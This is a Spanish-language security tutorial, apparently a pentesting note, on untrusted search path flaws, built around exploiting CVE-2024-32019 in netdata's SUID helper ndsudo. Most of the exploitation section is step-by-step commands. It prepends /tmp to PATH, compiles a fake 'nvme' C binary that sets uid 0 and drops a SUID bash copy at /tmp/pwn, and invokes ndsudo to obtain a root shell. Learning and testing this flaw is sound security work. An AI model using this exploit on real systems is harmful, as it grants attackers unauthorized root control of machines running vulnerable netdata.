Una vulnerabilidad untrusted search path se produce cuando un binario o alguna aplicación ejecuta código desde una ubicación que no está protegida adecuadamente, lo que compromete la seguridad del sistema. Este tipo de vulnerabilidad se produce cuando una aplicación está diseñada para buscar bibliotecas compartidas o llama a otros binarios de los cuales nosotros podemos manipular, llama a ejecutables u otras dependencias en directorios especificados en una variable de entorno `$PATH` o un archivo de configuración, sin verificar adecuadamente la autenticidad de estos directorios.
Los atacantes pueden aprovechar el untrusted search path modificando la variable de entorno `PATH` o el archivo de configuración (dependiendo de la ruta) para que apunte a un directorio controlado por el atacante. Esto permite al atacante ejecutar código malicioso o instalar malware en el sistema, lo que puede comprometer los datos confidenciales o dar control total sobre el sistema afectado si es que el script, lo ejecuta alguien con root.
En este caso veremos que uno de los binarios del programa netdata versión llamado `ndsudo` llama a otra función de la cual nosotros nos podemos aprovechar en este caso en `nvme`, a este binario que llama podemos aplicarle un **untrusted search path** ya que tenemos busca a este binario en nuestra ruta en donde busca el directorio y podemos establecer el que queramos.
Esto sucede gracias a que `ndsudo` se ejecuta con permisos SUID.
- Primera cambiamos nuestra ruta donde vamos a trabajar
1cd /tmp
- Luego establecer la ruta actual al PATH.
1export PATH=$(pwd):$PATH
- Ahora crearemos un binario en nuestra máquina atacante.
1# En máquina atacante2nano nvme.c
1#include <unistd.h>2#include <stdlib.h>34int main() {5setuid(0);6setgid(0);78system("cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn");910return 0;11}
Esta plantilla de C se utiliza para elevar privilegios, crea una bash en la carpeta actual y le asigna permisos para nosotros correr un `bash -p`.
Ahora compilamos
1gcc -o nvme nvme.c
Pasamos el binario a la máquina victima de tu manera preferida.
Luego ejecutamos `ndsudo`y veremos que hemos escalado privilegios a root.
1/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
1/tmp/pwn -p
https://cqr.company/web-vulnerabilities/untrusted-search-path/
https://nvd.nist.gov/vuln/detail/CVE-2024-32019
https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-32019
https://sploitus.com/exploit?id=1321A903-80B8-56C5-A776-516C0F848CB8
#untrusted-search-path, #privilege-escalation, #local-privesc, #linux-security #SUID #CVE-2024-32019 #netdata #ndsudo #vulnerability-exploitation #setuid #gcc #bash-suid-shell #path-manipulation #PATH-environment-variable #escalation-bin-path-hijack #nvme #exploit-development #binary-exploitation #ethical-hacking #penetration-testing #red-team #security-research #linux